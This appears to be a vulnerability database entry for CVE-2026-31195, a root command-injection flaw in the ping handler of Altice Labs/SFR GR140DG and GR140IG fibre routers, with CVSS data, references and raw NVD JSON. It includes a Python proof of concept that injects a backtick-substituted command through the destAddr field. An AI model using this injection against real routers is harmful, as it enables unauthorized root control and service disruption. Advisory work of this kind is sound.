CVE-2026-31195

Description

The ping diagnostic handler in /bin/httpd_clientside for ALTICE LABS / SFR France GR140DG and GR140IG fibre CPE/Router/Gateway, inserts unsanitized user input into a system() call, allowing authenticated remote attackers to execute arbitrary commands as root via crafted destAddr parameters using shell command substitution.

CVSS Details

CVSS Score

8.8

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

ALTICE LABS GR140DG

ALTICE LABS GR140IG

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

# CVE-2026-31195 PoC Example
# Target: ALTICE LABS GR140DG / GR140IG
import requests

def exploit(target_ip, username, password):
    login_url = f"http://{target_ip}/login"
    ping_url = f"http://{target_ip}/ping"
    
    session = requests.Session()
    
    # Step 1: Authenticate (Low Privilege Required)
    creds = {"username": username, "password": password}
    session.post(login_url, data=creds)
    
    # Step 2: Send malicious payload via destAddr
    # Using backticks for command substitution
    payload_data = {"destAddr": "8.8.8.8`reboot`"}
    
    response = session.post(ping_url, data=payload_data)
    
    if response.status_code == 200:
        print("Command sent successfully.")
    else:
        print("Exploit failed.")

# Usage: exploit("192.168.1.1", "admin", "password")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-31195
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-31195
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-31195/
[4] VulDB https://vuldb.com/cve/CVE-2026-31195
[5] http://altice.com
[6] http://gr140dg.com
[7] https://xerod.io/advisories/XEROD-2026-0001

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-31195", "sourceIdentifier": "[email protected]", "published": "2026-05-05T16:16:11.183", "lastModified": "2026-05-07T15:15:06.770", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "The ping diagnostic handler in /bin/httpd_clientside for ALTICE LABS / SFR France GR140DG and GR140IG fibre CPE/Router/Gateway, inserts unsanitized user input into a system() call, allowing authenticated remote attackers to execute arbitrary commands as root via crafted destAddr parameters using shell command substitution."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-78"}]}], "references": [{"url": "http://altice.com", "source": "[email protected]"}, {"url": "http://gr140dg.com", "source": "[email protected]"}, {"url": "https://xerod.io/advisories/XEROD-2026-0001", "source": "[email protected]"}]}}